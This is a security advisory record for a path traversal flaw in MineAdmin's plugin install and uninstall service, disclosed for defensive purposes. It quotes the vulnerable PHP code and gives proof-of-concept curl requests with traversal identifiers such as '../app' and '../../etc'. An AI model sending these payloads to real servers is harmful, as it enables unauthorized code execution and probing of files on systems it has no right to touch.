{"id":"GHSA-59xm-4m8c-g3xj","aliases":["CVE-2026-55224"],"title":"MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall","description":"## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n    if (empty($params['identifier']) || empty($params['version'])) {\n        $this->throwParamsFail();\n    }\n    $service = make(AppStoreServiceImpl::class);\n    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal\n        $result = $service->download($params['identifier'], $params['version']);\n        // ...\n    }\n    return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    if (file_exists($path . '/install.lock')) {\n        $this->throwAppInstalled();\n    }\n    Plugin::install($params['identifier']);  // May run composer commands with traversal path\n    return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal\n    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall\n    return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: 'admin/plugin/store')]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../app\", \"version\": \"1.0.0\"}'\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n  -H \"Authorization: Bearer <JWT_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}'\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.","severity":"high","score":8.7,"published":"2026-08-18T20:40:37.000Z","modified":"2026-08-18T20:56:02.588Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"mineadmin/mineadmin","ranges":[{"events":[{"introduced":"0"},{"fixed":"3.2.0-alpha.2"}],"type":"ECOSYSTEM"}],"versions":["2.0.0-alpha.1","v0.6.2","v0.6.3","v0.7.0","v0.7.1","v0.7.2","v1.0.0","v1.1.0","v1.1.1","v1.2.0","v1.2.1","v1.3.0","v1.3.3","v1.4.1","v1.4.11","v1.4.12","v1.4.13","v2.0-RC.1","v2.0.0-alpha.2","v2.0.0-alpha.3","v2.0.0-alpha.4","v2.0.0-alpha.5","v2.0.0-beta","v2.0.0-beta.1","v2.0.0-beta.2","v2.0.0-beta.3","v2.0.0-beta.4","v2.0.0-beta.5","v2.0.0-beta.6","v2.0.1","v2.0.1.1","v2.0.2","v2.0.3","v3.0","v3.0-RC","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v3.0.5","v3.0.6","v3.0.7","v3.0.8","v3.0.9","v3.2.0-alpha.1"],"fixed":["3.2.0-alpha.2"]}],"references":["https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj","https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1","https://github.com/mineadmin/MineAdmin","https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"],"sources":[{"name":"OSV","id":"GHSA-59xm-4m8c-g3xj","modified":"2026-08-18T20:56:02.588775Z","url":"https://osv.dev/vulnerability/GHSA-59xm-4m8c-g3xj"}],"assessments":[{"source":"OSV","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7}]}